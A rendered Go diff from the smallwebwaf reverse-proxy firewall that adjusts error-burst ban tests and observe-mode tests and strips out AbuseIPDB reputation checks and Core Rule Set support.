for _, tc := range []struct {
|
|
||||||
threshold string
|
|
||||||
// broken is whether the 31st refusal breaks the error burst.
|
|
||||||
broken bool
|
|
||||||
}{
|
|
||||||
{"", true},
|
|
||||||
{off, false},
|
|
||||||
} {
|
|
||||||
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
env := map[string]string{rulesDir: writeRules(t, testRules)}
|
|
||||||
if tc.threshold != "" {
|
|
||||||
env[errorBurstThreshold] = tc.threshold
|
|
||||||
}
|
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", env)
|
|
||||||
|
|
||||||
var line logLine
|
|
||||||
for range 31 {
|
|
||||||
line = blockRule.send(s, client)
|
|
||||||
}
|
|
||||||
|
|
||||||
if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
|
|
||||||
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
|
|
||||||
broken, tc.broken)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
|
|
||||||
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
|
|
||||||
)
|
|
||||||
|
|
||||||
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
|
||||||
allowNets: allowed, rateLimitExemptNets: exempt,
|
|
||||||
})
|
|
||||||
|
|
||||||
// A client in SWWAF_ALLOW_NETS still needs the token, but is not
|
|
||||||
// counted.
|
|
||||||
for range 3 {
|
|
||||||
line := noMetricsToken.send(s, allowed)
|
|
||||||
if line.LimitHit != "" {
|
|
||||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// One the rate limits do not apply to is.
|
|
||||||
noMetricsToken.send(s, exempt)
|
|
||||||
|
|
||||||
line := wrongAdminToken.send(s, exempt)
|
|
||||||
if line.LimitHit != requestlog.LimitHitErrorBurst {
|
|
||||||
t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
|
|
||||||
|
|
||||||
blockRule.send(s, client)
|
|
||||||
blockRule.send(s, client)
|
|
||||||
|
|
||||||
// Within the same minute, once the ban has ended, the next refusal is
|
|
||||||
// the first again.
|
|
||||||
clk.advance(time.Second)
|
|
||||||
|
|
||||||
line := blockRule.send(s, client)
|
|
||||||
if line.LimitHit != "" {
|
|
||||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
|
||||||
mode: observe,
|
|
||||||
errorBurstThreshold: "1",
|
|
||||||
rulesDir: writeRules(t, testRules),
|
|
||||||
adminToken: adminSecret,
|
|
||||||
})
|
|
||||||
start := clk.Now()
|
|
||||||
held := bans.Ban{
|
|
||||||
Netblock: netip.MustParsePrefix(otherClient + "/32"),
|
|
||||||
Start: start,
|
|
||||||
Expires: start.Add(time.Hour),
|
|
||||||
Cause: bans.CauseAdmin,
|
|
||||||
}
|
|
||||||
server.Ledger.Load([]bans.Ban{held})
|
|
||||||
|
|
||||||
// Under a ban, enforce mode would have refused these before the
|
|
||||||
// endpoint, so their tokens are not counted.
|
|
||||||
for range 2 {
|
|
||||||
line := wrongAdminToken.send(s, otherClient)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionBanned)
|
|
||||||
|
|
||||||
if line.LimitHit != "" {
|
|
||||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// The block rule's refusal, which enforce mode would have answered 403,
|
|
||||||
// is the second of the client's, and would have banned it.
|
|
||||||
wrongAdminToken.send(s, client)
|
|
||||||
|
|
||||||
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionRuleBlocked)
|
|
||||||
|
|
||||||
if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
|
|
||||||
t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
|
|
||||||
"and none", line.LimitHit, line.BanExpires)
|
|
||||||
}
|
|
||||||
|
|
||||||
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
|
|
||||||
t.Errorf("bans %+v, want only the one held", got)
|
|
||||||
}
|
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
|
||||||
if len(waiting) != 1 {
|
|
||||||
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
|
|
||||||
}
|
|
||||||
|
|
||||||
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
|
|
||||||
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
|
|
||||||
notes.Request.Status != http.StatusForbidden {
|
|
||||||
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
|
|
||||||
notes)
|
|
||||||
}
|
|
||||||
|
|
||||||
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
|
|
||||||
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
|
||||||
Reason: "refusals per minute over the limit of 1", Notes: notes,
|
|
||||||
}, requestlog.FormatTime(start.Add(time.Hour)))
|
|
||||||
alert.Detail["mode"] = observe
|
|
||||||
wantAlerts(t, queue, alert)
|
|
||||||
}
|
|
||||||
@@ -18,7 +18,6 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h",
|
|
||||||
rateLimitPerMinute: "2",
|
rateLimitPerMinute: "2",
|
||||||
deniedCountries: "kp",
|
deniedCountries: "kp",
|
||||||
})
|
})
|
||||||
@@ -57,24 +56,6 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
|
|
||||||
|
|
||||||
// The third client drops the least recently seen, the first, with its
|
|
||||||
// history.
|
|
||||||
for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
|
|
||||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
|
|
||||||
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
|
|
||||||
if server.Limiter.Len() != 2 || held {
|
|
||||||
t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
|
|
||||||
"without it", server.Limiter.Len(), held)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
|
func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -31,9 +31,9 @@ func (rq *request) lookUp(ctx context.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if rq.h.config.LookupSource == "file" {
|
if rq.h.config.LookupSource == "file" {
|
||||||
rq.lookupAnswer = rq.h.lookupFile.LookUp(rq.h.clientGroup(rq.client))
|
rq.lookupAnswer = rq.h.lookupFile.LookUp(clientGroup(rq.client))
|
||||||
} else {
|
} else {
|
||||||
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, rq.h.clientGroup(rq.client))
|
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, clientGroup(rq.client))
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.lookedUp = true
|
rq.lookedUp = true
|
||||||
|
|||||||
@@ -249,7 +249,6 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
|
|||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
|
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
|
||||||
addLookupHeaders: "true",
|
addLookupHeaders: "true",
|
||||||
})
|
})
|
||||||
s := &sender{t: t, addr: addr, out: out}
|
s := &sender{t: t, addr: addr, out: out}
|
||||||
@@ -350,7 +349,6 @@ const unansweredGeoJSURL = "unanswered://geojs/v1/ip/geo.json"
|
|||||||
func TestMain(m *testing.M) {
|
func TestMain(m *testing.M) {
|
||||||
transport, _ := http.DefaultTransport.(*http.Transport)
|
transport, _ := http.DefaultTransport.(*http.Transport)
|
||||||
transport.RegisterProtocol("unanswered", unansweredGeoJS{})
|
transport.RegisterProtocol("unanswered", unansweredGeoJS{})
|
||||||
transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{})
|
|
||||||
|
|
||||||
m.Run()
|
m.Run()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ import (
|
|||||||
"io"
|
"io"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"reflect"
|
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
@@ -39,7 +38,6 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
lookupTimeout: "1h",
|
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
denyNets: denied,
|
denyNets: denied,
|
||||||
deniedCountries: "kp",
|
deniedCountries: "kp",
|
||||||
@@ -128,7 +126,7 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
got := server.Ledger.Snapshot()
|
got := server.Ledger.Snapshot()
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
|
if len(got) != 1 || got[0] != kept {
|
||||||
t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
|
t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -320,7 +320,7 @@ func TestServerHasTheDefaultLimits(t *testing.T) {
|
|||||||
server := proxy.New(proxy.Params{
|
server := proxy.New(proxy.Params{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
RequestLog: io.Discard,
|
RequestLog: io.Discard,
|
||||||
ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName, cfg.LogLevel),
|
ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName),
|
||||||
})
|
})
|
||||||
|
|
||||||
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
|
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
|
||||||
@@ -399,25 +399,6 @@ func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLogLevelHoldsBackNoRequestLine(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// At error the warning that the request to the app failed is held back,
|
|
||||||
// and is written before the answer is.
|
|
||||||
addr, out := startProxy(t, "http://"+localhost+":1", map[string]string{
|
|
||||||
"SWWAF_LOG_LEVEL": "error",
|
|
||||||
})
|
|
||||||
|
|
||||||
wantStatus(t, get(t, addr, "/"), http.StatusBadGateway)
|
|
||||||
wantLine(t, out.requestLine(t), http.StatusBadGateway, requestlog.ActionUpstreamError)
|
|
||||||
|
|
||||||
for _, line := range out.lines(t) {
|
|
||||||
if line["type"] == "process" {
|
|
||||||
t.Errorf("process line %v, want none at error", line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestLogsAnAnswerThatBrokeOff(t *testing.T) {
|
func TestLogsAnAnswerThatBrokeOff(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
+14
-68
@@ -21,7 +21,6 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// How smallwebwaf keeps connections to the app open between requests.
|
// How smallwebwaf keeps connections to the app open between requests.
|
||||||
@@ -60,9 +59,6 @@ type Params struct {
|
|||||||
// GeoJSURL is where clients' AS numbers and countries are looked up
|
// GeoJSURL is where clients' AS numbers and countries are looked up
|
||||||
// while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
|
// while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
|
||||||
GeoJSURL string
|
GeoJSURL string
|
||||||
// AbuseIPDBURL is where clients are checked with AbuseIPDB while
|
|
||||||
// SWWAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
|
|
||||||
AbuseIPDBURL string
|
|
||||||
// LookupFile is the lookup database they are looked up in while
|
// LookupFile is the lookup database they are looked up in while
|
||||||
// SWWAF_LOOKUP_SOURCE is file, and nil otherwise.
|
// SWWAF_LOOKUP_SOURCE is file, and nil otherwise.
|
||||||
LookupFile *lookup.File
|
LookupFile *lookup.File
|
||||||
@@ -75,19 +71,15 @@ type Params struct {
|
|||||||
Rules *rules.Files
|
Rules *rules.Files
|
||||||
// Alerts receive the alert for each ban the proxy makes or makes
|
// Alerts receive the alert for each ban the proxy makes or makes
|
||||||
// permanent, for each count over an anomaly threshold, for each request
|
// permanent, for each count over an anomaly threshold, for each request
|
||||||
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
// whose client a blocklist or a DNSBL zone lists, and for GeoJS failing,
|
||||||
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
// a fetch of a list failing or a query to a DNSBL zone failing.
|
||||||
// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
|
|
||||||
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
|
|
||||||
// or the day's AbuseIPDB checks used up.
|
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
}
|
}
|
||||||
|
|
||||||
// Server is the server smallwebwaf runs, with the parts of the proxy
|
// Server is the server smallwebwaf runs, with the parts of the proxy
|
||||||
// whose state the state files keep, the lookup database, nil unless
|
// whose state the state files keep, the lookup database, nil unless
|
||||||
// SWWAF_LOOKUP_SOURCE is file, the lists fetched from URLs, which its Run
|
// SWWAF_LOOKUP_SOURCE is file, the lists fetched from URLs, which its Run
|
||||||
// fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and checks
|
// fetches, the DNSBL zones' verdicts, and the metrics.
|
||||||
// spent, and the metrics.
|
|
||||||
type Server struct {
|
type Server struct {
|
||||||
*http.Server
|
*http.Server
|
||||||
|
|
||||||
@@ -98,7 +90,6 @@ type Server struct {
|
|||||||
LookupFile *lookup.File
|
LookupFile *lookup.File
|
||||||
Lists *reputation.Lists
|
Lists *reputation.Lists
|
||||||
DNSBL *reputation.DNSBL
|
DNSBL *reputation.DNSBL
|
||||||
AbuseIPDB *reputation.AbuseIPDB
|
|
||||||
Metrics *metrics.Metrics
|
Metrics *metrics.Metrics
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -111,7 +102,7 @@ type Server struct {
|
|||||||
func New(params Params) *Server {
|
func New(params Params) *Server {
|
||||||
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
|
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
|
||||||
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
|
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
|
||||||
lists, dnsbl, abuseIPDB := newReputation(params, m)
|
lists, dnsbl := newReputation(params)
|
||||||
h := &handler{
|
h := &handler{
|
||||||
config: params.Config,
|
config: params.Config,
|
||||||
requestLog: params.RequestLog,
|
requestLog: params.RequestLog,
|
||||||
@@ -127,7 +118,7 @@ func New(params Params) *Server {
|
|||||||
BytesPerMinute: params.Config.BytesLimitPerMinute,
|
BytesPerMinute: params.Config.BytesLimitPerMinute,
|
||||||
BytesPerHour: params.Config.BytesLimitPerHour,
|
BytesPerHour: params.Config.BytesLimitPerHour,
|
||||||
BytesPerDay: params.Config.BytesLimitPerDay,
|
BytesPerDay: params.Config.BytesLimitPerDay,
|
||||||
}, params.Config.MaxTrackedClients),
|
}),
|
||||||
ledger: bans.New(bans.Rules{
|
ledger: bans.New(bans.Rules{
|
||||||
LimitBanDuration: params.Config.LimitBanDuration,
|
LimitBanDuration: params.Config.LimitBanDuration,
|
||||||
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
|
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
|
||||||
@@ -149,9 +140,7 @@ func New(params Params) *Server {
|
|||||||
lookupFile: params.LookupFile,
|
lookupFile: params.LookupFile,
|
||||||
lists: lists,
|
lists: lists,
|
||||||
dnsbl: dnsbl,
|
dnsbl: dnsbl,
|
||||||
abuseIPDB: abuseIPDB,
|
|
||||||
rules: params.Rules,
|
rules: params.Rules,
|
||||||
coreRuleSet: newCoreRuleSet(params.Config),
|
|
||||||
alerts: params.Alerts,
|
alerts: params.Alerts,
|
||||||
}
|
}
|
||||||
h.geojs = lookup.New(lookup.Params{
|
h.geojs = lookup.New(lookup.Params{
|
||||||
@@ -170,6 +159,7 @@ func New(params Params) *Server {
|
|||||||
})
|
})
|
||||||
m.AddBansAndClients(h.ledger, h.limiter, params.Now)
|
m.AddBansAndClients(h.ledger, h.limiter, params.Now)
|
||||||
m.AddRules(params.Rules)
|
m.AddRules(params.Rules)
|
||||||
|
m.AddReputation(h.lists, h.dnsbl)
|
||||||
|
|
||||||
return &Server{
|
return &Server{
|
||||||
Server: &http.Server{
|
Server: &http.Server{
|
||||||
@@ -191,66 +181,27 @@ func New(params Params) *Server {
|
|||||||
LookupFile: h.lookupFile,
|
LookupFile: h.lookupFile,
|
||||||
Lists: h.lists,
|
Lists: h.lists,
|
||||||
DNSBL: h.dnsbl,
|
DNSBL: h.dnsbl,
|
||||||
AbuseIPDB: h.abuseIPDB,
|
|
||||||
Metrics: m,
|
Metrics: m,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// newReputation returns the lists fetched from URLs, the DNSBL zones'
|
// newReputation returns the lists fetched from URLs and the DNSBL zones'
|
||||||
// verdicts and AbuseIPDB's scores, as the settings in params name them,
|
// verdicts, as the settings in params name them, with none fetched or
|
||||||
// with none fetched, asked for or checked yet, and adds their metrics to
|
// asked for yet.
|
||||||
// m, AbuseIPDB's while SWWAF_ABUSEIPDB_KEY is set.
|
func newReputation(params Params) (*reputation.Lists, *reputation.DNSBL) {
|
||||||
func newReputation(
|
|
||||||
params Params, m *metrics.Metrics,
|
|
||||||
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
|
|
||||||
cfg := params.Config
|
cfg := params.Config
|
||||||
lists := reputation.New(reputation.Params{
|
lists := reputation.New(reputation.Params{
|
||||||
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
|
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
|
||||||
ASNLimitPercentURL: cfg.ASNLimitPercentURL,
|
ASNLimitPercentURL: cfg.ASNLimitPercentURL, Now: params.Now,
|
||||||
CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
|
ProcessLog: params.ProcessLog, Alerts: params.Alerts,
|
||||||
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
|
|
||||||
})
|
})
|
||||||
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
|
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
|
||||||
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
|
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
|
||||||
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||||
Alerts: params.Alerts,
|
Alerts: params.Alerts,
|
||||||
})
|
})
|
||||||
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
|
|
||||||
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
|
|
||||||
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
|
|
||||||
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
|
||||||
Alerts: params.Alerts,
|
|
||||||
})
|
|
||||||
|
|
||||||
m.AddReputation(lists, dnsbl)
|
return lists, dnsbl
|
||||||
|
|
||||||
if cfg.AbuseIPDBKey != "" {
|
|
||||||
m.AddAbuseIPDB(abuseIPDB)
|
|
||||||
}
|
|
||||||
|
|
||||||
return lists, dnsbl, abuseIPDB
|
|
||||||
}
|
|
||||||
|
|
||||||
// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
|
|
||||||
// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
|
|
||||||
// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off.
|
|
||||||
func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
|
|
||||||
if cfg.WAFMode == config.WAFModeOff {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
coreRuleSet, err := waf.New(waf.Params{
|
|
||||||
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
|
||||||
BodyLimit: cfg.WAFBodyLimit,
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
// The Core Rule Set is built in, and the settings cannot break it:
|
|
||||||
// the paranoia level is from 1 to 4, the body limit at most 1G, and
|
|
||||||
// the id of no rule switches nothing off.
|
|
||||||
panic(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return coreRuleSet
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// handler is the proxy. It holds what every request shares; what belongs
|
// handler is the proxy. It holds what every request shares; what belongs
|
||||||
@@ -270,9 +221,7 @@ type handler struct {
|
|||||||
lookupFile *lookup.File
|
lookupFile *lookup.File
|
||||||
lists *reputation.Lists
|
lists *reputation.Lists
|
||||||
dnsbl *reputation.DNSBL
|
dnsbl *reputation.DNSBL
|
||||||
abuseIPDB *reputation.AbuseIPDB
|
|
||||||
rules *rules.Files
|
rules *rules.Files
|
||||||
coreRuleSet *waf.CoreRuleSet
|
|
||||||
alerts *alerts.Queue
|
alerts *alerts.Queue
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -308,12 +257,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Once the request has ended, before its log line is written. The
|
// Once the request has ended, before its log line is written.
|
||||||
// last deferred runs first: countRefusal before addToHistory, so that
|
|
||||||
// a broken error burst is in the client's history.
|
|
||||||
defer rq.addToHistory()
|
defer rq.addToHistory()
|
||||||
defer rq.countAnomalies()
|
defer rq.countAnomalies()
|
||||||
defer rq.countRefusal()
|
|
||||||
|
|
||||||
refused := rq.check(r.Context())
|
refused := rq.check(r.Context())
|
||||||
rq.checked = time.Now()
|
rq.checked = time.Now()
|
||||||
|
|||||||
@@ -61,8 +61,6 @@ const (
|
|||||||
requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES"
|
requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES"
|
||||||
responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES"
|
responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES"
|
||||||
trustedProxies = "SWWAF_TRUSTED_PROXIES"
|
trustedProxies = "SWWAF_TRUSTED_PROXIES"
|
||||||
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
|
|
||||||
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
|
|
||||||
allowNets = "SWWAF_ALLOW_NETS"
|
allowNets = "SWWAF_ALLOW_NETS"
|
||||||
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
|
||||||
denyNets = "SWWAF_DENY_NETS"
|
denyNets = "SWWAF_DENY_NETS"
|
||||||
@@ -85,12 +83,8 @@ const (
|
|||||||
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
|
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
|
||||||
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
|
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
|
||||||
rulesDir = "SWWAF_RULES_DIR"
|
rulesDir = "SWWAF_RULES_DIR"
|
||||||
wafMode = "SWWAF_WAF_MODE"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// off is the value that switches a setting off.
|
|
||||||
const off = "off"
|
|
||||||
|
|
||||||
// output collects what smallwebwaf writes on stdout.
|
// output collects what smallwebwaf writes on stdout.
|
||||||
type output struct {
|
type output struct {
|
||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
@@ -274,10 +268,7 @@ func startProxyWithAlerts(
|
|||||||
// queue: they wait in it, for the test to look at. With no geojsURL, there
|
// queue: they wait in it, for the test to look at. With no geojsURL, there
|
||||||
// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
|
// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
|
||||||
// is off unless env sets it. While it is file, the lookup database
|
// is off unless env sets it. While it is file, the lookup database
|
||||||
// SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
|
// SWWAF_LOOKUP_DB_PATH names is read.
|
||||||
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
|
|
||||||
// unless env sets it, so that only the tests of the Core Rule Set have
|
|
||||||
// their requests inspected by it.
|
|
||||||
func newProxy(
|
func newProxy(
|
||||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||||
env map[string]string,
|
env map[string]string,
|
||||||
@@ -286,10 +277,9 @@ func newProxy(
|
|||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
|
"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
|
||||||
wafMode: off,
|
|
||||||
}
|
}
|
||||||
if geojsURL == "" {
|
if geojsURL == "" {
|
||||||
settings[lookupSource] = off
|
settings[lookupSource] = "off"
|
||||||
}
|
}
|
||||||
|
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
@@ -304,7 +294,7 @@ func newProxy(
|
|||||||
}
|
}
|
||||||
|
|
||||||
out := &output{}
|
out := &output{}
|
||||||
processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
|
processLog := requestlog.NewProcessLogger(out, cfg.InstanceName)
|
||||||
|
|
||||||
ruleFiles, err := rules.Load(rules.Params{
|
ruleFiles, err := rules.Load(rules.Params{
|
||||||
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
|
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
|
||||||
@@ -339,7 +329,6 @@ func newProxy(
|
|||||||
RequestLog: out,
|
RequestLog: out,
|
||||||
ProcessLog: processLog,
|
ProcessLog: processLog,
|
||||||
GeoJSURL: geojsURL,
|
GeoJSURL: geojsURL,
|
||||||
AbuseIPDBURL: abuseIPDBURL,
|
|
||||||
LookupFile: lookupFile,
|
LookupFile: lookupFile,
|
||||||
Now: now,
|
Now: now,
|
||||||
Rules: ruleFiles,
|
